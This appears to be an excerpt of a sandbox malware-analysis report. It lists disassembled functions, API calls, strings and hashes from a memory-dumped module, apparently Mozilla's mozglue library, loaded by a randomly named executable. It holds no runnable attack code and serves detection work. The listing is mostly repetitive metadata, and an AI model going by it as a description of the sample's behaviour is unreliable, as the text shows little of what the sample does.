String ID: MMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.e
API String ID: 2022606265-437896368
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca4ed2d6a03da8a3f704beac6cc95ae7f98496a33d9bce822fe9f562690d7ed6
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18323632B046119FC718DE2CC89065ABBE6AFC9310F59866DE896CB395D730ED15CB90

Function 6C6B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6B9F3D
__aulldiv.LIBCMT ref: 6C6B9F77
__aullrem.LIBCMT ref: 6C6B9F8C
__aulldiv.LIBCMT ref: 6C6BA023

Strings

-Infinity, xrefs: 6C6B9E60, 6C6B9E7B
NaN, xrefs: 6C6B9EAB

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction ID: cec4c0ba687317817b06540f2b3d32a47266ace032b3340d36d16366b67eb18d
Opcode Fuzzy Hash: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction Fuzzy Hash: FDC1DE31E043188BDB14CFA8C8907DEB7B6FF85318F544529D40ABBB81DB70A959CB99

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C65D852
0, xrefs: 6C65DC7F
-, xrefs: 6C65D7DD
@, xrefs: 6C65DAF6
8, xrefs: 6C65DC08
, xrefs: 6C65DA88
1, xrefs: 6C65DBDD
9, xrefs: 6C65DE7F

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C9269, 6C6C9459, 6C6C921F, 6C6C5703, 6C6C56C7, 6C6C5740, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C9269, 6C6C9459, 6C6C921F, 6C6C5703, 6C6C56C7, 6C6C5740, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

ntdll.dll, xrefs: 6C6BC413
NtQueryVirtualMemory, xrefs: 6C6BC431

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 6C669F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C66A824
' , xrefs: 6C66A3D8
0, xrefs: 6C66AB22
0, xrefs: 6C66A100
9, xrefs: 6C66A5D6
@, xrefs: 6C66A625

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction ID: b43a99b024e746f77dff5b3497ef81521bc4a43fda2ff7c323182478ba13ad1a
Opcode Fuzzy Hash: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction Fuzzy Hash: 4F82C2315093318BD710CF1BC4902AEB7E1EB85718F658A2EE8D557E92D335E885CB8B

Function 6C6A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A7A93

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A7AA1

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C6A7B31

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction ID: eb805a557cc71c73acb2cf890751559337e9d58a37693480d16937fe35f10b65
Opcode Fuzzy Hash: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction Fuzzy Hash: 01B17C356083808BCB18CEA4C4507AFB7E2ABC5318F154A1DE99567795DB70ED0BCB8A

Function 6C678850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C6797EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C679813, 6C67985D, 6C679878, 6C679CEB

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction ID: 6d98e4cdb4ba5d77c64b6df662f6a3e74dd51cc53f5a203ab7bd10060c00b1c9
Opcode Fuzzy Hash: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction Fuzzy Hash: E6D2BF71A157018FD728CF28C590715BBE1BF85328F29CB6DD86A8B7A5C731E841CB98

Function 6C6B85F0 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Strings

MMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.e, xrefs: 6C6B8790, 6C6B8A47

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: MMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.exeMMiBlQNCmHBFeLoCmzhtsiFuIkR.e
API String ID: 3732870572-437896368
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 6C6BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C68FE3F), ref: 6C6BB720
RtlNtStatusToDosError.NTDLL ref: 6C6BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C68FE3F), ref: 6C6BB760

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction ID: 5b42e74288275a96b765d79dbabcdf8626d36713d07171290019033c0f3b5b47
Opcode Fuzzy Hash: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction Fuzzy Hash: 1BF0A4B0A0020CAEDF019AA28CC4BDE77BCDB44319F105139D511715C0D77495DCC76D

Function 6C674640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C674777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C675585, 6C6755A8, 6C6755C3, 6C675624

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction ID: e152d09da89ed65f54dddbc3e1f9f5dc8f98e24aebc063a76cc89704db909104
Opcode Fuzzy Hash: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction Fuzzy Hash: 58B2DE71A057018FD328CF18C584725FBE2BFC5324B29CBADE4698B6A5D771E841CB98

Function 6C6C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7B0B, 6C6C79C0, 6C6C7E0B, 6C6C7796, 6C6C793C, 6C6C79FB

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c3f351375ce2f0f9a3e522e778f1118c83f9cb449e28e628ffd06b8ba48e099a
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF320971E006198FCB14CF98C890AADFBF2FF88308F54816AC559A7745D731A986CF95

Function 6C6C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7B0B, 6C6C79C0, 6C6C7C72, 6C6C7E0B, 6C6C7C03, 6C6C793C, 6C6C79FB

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3be4a28f322a9970853bb3041ef7813f79d8eca11099a4da24d4568498a361c3
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822E771E006198FCB14CF98C880AADF7F2FF89304F6485AAC949A7745D731A986CF95

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 6C65DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction ID: a39475386c5918ebd676784b8f17469e4ce99828062bf41cefbf34d5986a195a
Opcode Fuzzy Hash: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction Fuzzy Hash: DC42D472A087508BD708CE3CC49035AF3E2BFC9364F594B2DE999A7790D738D9518B86

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 6C65C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 47d4b005ea0d460a9a087beec7120d377fd57c6bf0f934b183e120b1cd954d5e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
